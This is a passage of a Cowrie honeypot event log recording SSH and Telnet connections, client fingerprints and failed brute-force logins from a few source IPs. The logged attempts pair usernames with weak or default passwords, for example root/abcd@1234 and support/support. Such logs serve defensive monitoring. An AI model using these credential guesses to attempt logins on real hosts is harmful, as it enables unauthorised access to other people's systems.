{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:35.219198Z","src_ip":"176.65.132.254","session":"d88af1d2e01d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"12345","message":"login attempt [jenkins/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:35.543512Z","src_ip":"176.65.132.254","session":"d88af1d2e01d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.82459354400635,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:35.632687Z","src_ip":"62.210.97.77","session":"34516ab45cc8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":41522,"dst_ip":"10.17.0.5","dst_port":23,"session":"c92d92b9aedf","protocol":"telnet","message":"New connection: 38.54.119.93:41522 (10.17.0.5:23) [session: c92d92b9aedf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:35.755746Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53696,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3d4cd87e91a","protocol":"telnet","message":"New connection: 62.210.97.77:53696 (10.17.0.5:23) [session: d3d4cd87e91a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:36.604275Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:36.641894Z","src_ip":"176.65.132.254","session":"d88af1d2e01d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53712,"dst_ip":"10.17.0.5","dst_port":23,"session":"3af5cb0eedb9","protocol":"telnet","message":"New connection: 62.210.97.77:53712 (10.17.0.5:23) [session: 3af5cb0eedb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:37.322932Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":43060,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc5f3bbdfc34","protocol":"telnet","message":"New connection: 38.54.119.93:43060 (10.17.0.5:23) [session: cc5f3bbdfc34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:37.998597Z"}
{"eventid":"cowrie.session.closed","duration":36.07829022407532,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:38.799190Z","src_ip":"62.210.97.77","session":"c62b4937ed40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":53024,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ebe46c2a01a","protocol":"ssh","message":"New connection: 176.65.132.254:53024 (10.17.0.5:22) [session: 8ebe46c2a01a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:39.244569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:39.249021Z","src_ip":"176.65.132.254","session":"8ebe46c2a01a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:39.336484Z","src_ip":"176.65.132.254","session":"8ebe46c2a01a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@1234","message":"login attempt [root/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:39.581281Z","src_ip":"176.65.132.254","session":"8ebe46c2a01a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44076,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4276f7213d9","protocol":"telnet","message":"New connection: 62.210.97.77:44076 (10.17.0.5:23) [session: d4276f7213d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:40.293691Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:40.668721Z","src_ip":"176.65.132.254","session":"8ebe46c2a01a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.12","src_port":17334,"dst_ip":"10.17.0.5","dst_port":22,"session":"465988fd9439","protocol":"ssh","message":"New connection: 190.129.122.12:17334 (10.17.0.5:22) [session: 465988fd9439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:40.711784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:40.725012Z","src_ip":"190.129.122.12","session":"465988fd9439","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44088,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d3d43f71f34","protocol":"telnet","message":"New connection: 62.210.97.77:44088 (10.17.0.5:23) [session: 2d3d43f71f34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:40.728467Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:40.895852Z","src_ip":"190.129.122.12","session":"465988fd9439","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":38622,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c4c6f7b85f5","protocol":"telnet","message":"New connection: 134.209.8.29:38622 (159.203.135.109:23) [session: 4c4c6f7b85f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:41.065699Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":45588,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1767cedc306","protocol":"telnet","message":"New connection: 38.54.119.93:45588 (10.17.0.5:23) [session: f1767cedc306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:41.332556Z"}
{"eventid":"cowrie.session.closed","duration":35.45810842514038,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:41.365170Z","src_ip":"62.210.97.77","session":"3543f0ed6dd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.43506836891174,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:41.450849Z","src_ip":"62.210.97.77","session":"e4fd38956770","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.44168210029602,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:41.536411Z","src_ip":"62.210.97.77","session":"b73da2d4a33e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"gittest","password":"gittest","message":"login attempt [gittest/gittest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:41.610005Z","src_ip":"190.129.122.12","session":"465988fd9439","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.935774087905884,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:42.000910Z","src_ip":"62.210.97.77","session":"deb29c7c355e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44092,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce9ca2742b8f","protocol":"telnet","message":"New connection: 62.210.97.77:44092 (10.17.0.5:23) [session: ce9ca2742b8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:42.227844Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":38612,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd769578c4af","protocol":"telnet","message":"New connection: 134.209.8.29:38612 (159.203.135.109:23) [session: bd769578c4af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:42.544441Z"}
{"eventid":"cowrie.session.closed","duration":33.83969736099243,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:42.711190Z","src_ip":"62.210.97.77","session":"1db52d547eb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:42.783642Z","src_ip":"190.129.122.12","session":"465988fd9439","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":51276,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf610db45303","protocol":"ssh","message":"New connection: 176.65.132.254:51276 (10.17.0.5:22) [session: bf610db45303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:43.181077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:43.184929Z","src_ip":"176.65.132.254","session":"bf610db45303","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:43.266648Z","src_ip":"176.65.132.254","session":"bf610db45303","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"potok","password":"potok","message":"login attempt [potok/potok] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:43.536079Z","src_ip":"176.65.132.254","session":"bf610db45303","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:44.620666Z","src_ip":"176.65.132.254","session":"bf610db45303","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44104,"dst_ip":"10.17.0.5","dst_port":23,"session":"53e83e287b4c","protocol":"telnet","message":"New connection: 62.210.97.77:44104 (10.17.0.5:23) [session: 53e83e287b4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:44.949647Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44106,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef2a500b5620","protocol":"telnet","message":"New connection: 62.210.97.77:44106 (10.17.0.5:23) [session: ef2a500b5620]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:44.999795Z"}
{"eventid":"cowrie.session.closed","duration":30.478801488876343,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:45.090845Z","src_ip":"62.210.97.77","session":"e3eebf9cd7fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.94844961166382,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:45.857490Z","src_ip":"62.210.97.77","session":"8767e352ffbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.198.206","src_port":51242,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3417d09cbf8","protocol":"ssh","message":"New connection: 45.78.198.206:51242 (10.17.0.5:22) [session: b3417d09cbf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:46.436594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:46.441345Z","src_ip":"45.78.198.206","session":"b3417d09cbf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.914351224899292,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:47.246794Z","src_ip":"38.54.119.93","session":"f1767cedc306","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":51278,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2d2f943cbe4","protocol":"ssh","message":"New connection: 176.65.132.254:51278 (10.17.0.5:22) [session: d2d2f943cbe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:47.383339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:47.387462Z","src_ip":"176.65.132.254","session":"d2d2f943cbe4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:47.468885Z","src_ip":"176.65.132.254","session":"d2d2f943cbe4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:47.718307Z","src_ip":"176.65.132.254","session":"d2d2f943cbe4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.712499141693115,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:48.367530Z","src_ip":"62.210.97.77","session":"a37313b09231","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:48.963025Z","src_ip":"176.65.132.254","session":"d2d2f943cbe4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36266,"dst_ip":"10.17.0.5","dst_port":23,"session":"a57d538725bd","protocol":"telnet","message":"New connection: 62.210.97.77:36266 (10.17.0.5:23) [session: a57d538725bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:49.017990Z"}
{"eventid":"cowrie.session.closed","duration":35.891064167022705,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:49.645116Z","src_ip":"62.210.97.77","session":"45fba6f6502d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36280,"dst_ip":"10.17.0.5","dst_port":23,"session":"135c3e7480ab","protocol":"telnet","message":"New connection: 62.210.97.77:36280 (10.17.0.5:23) [session: 135c3e7480ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:49.861804Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":35616,"dst_ip":"159.203.135.109","dst_port":23,"session":"54827171aa7b","protocol":"telnet","message":"New connection: 134.209.8.29:35616 (159.203.135.109:23) [session: 54827171aa7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:49.942566Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":35628,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5f1708923a2","protocol":"telnet","message":"New connection: 134.209.8.29:35628 (159.203.135.109:23) [session: f5f1708923a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:50.220056Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 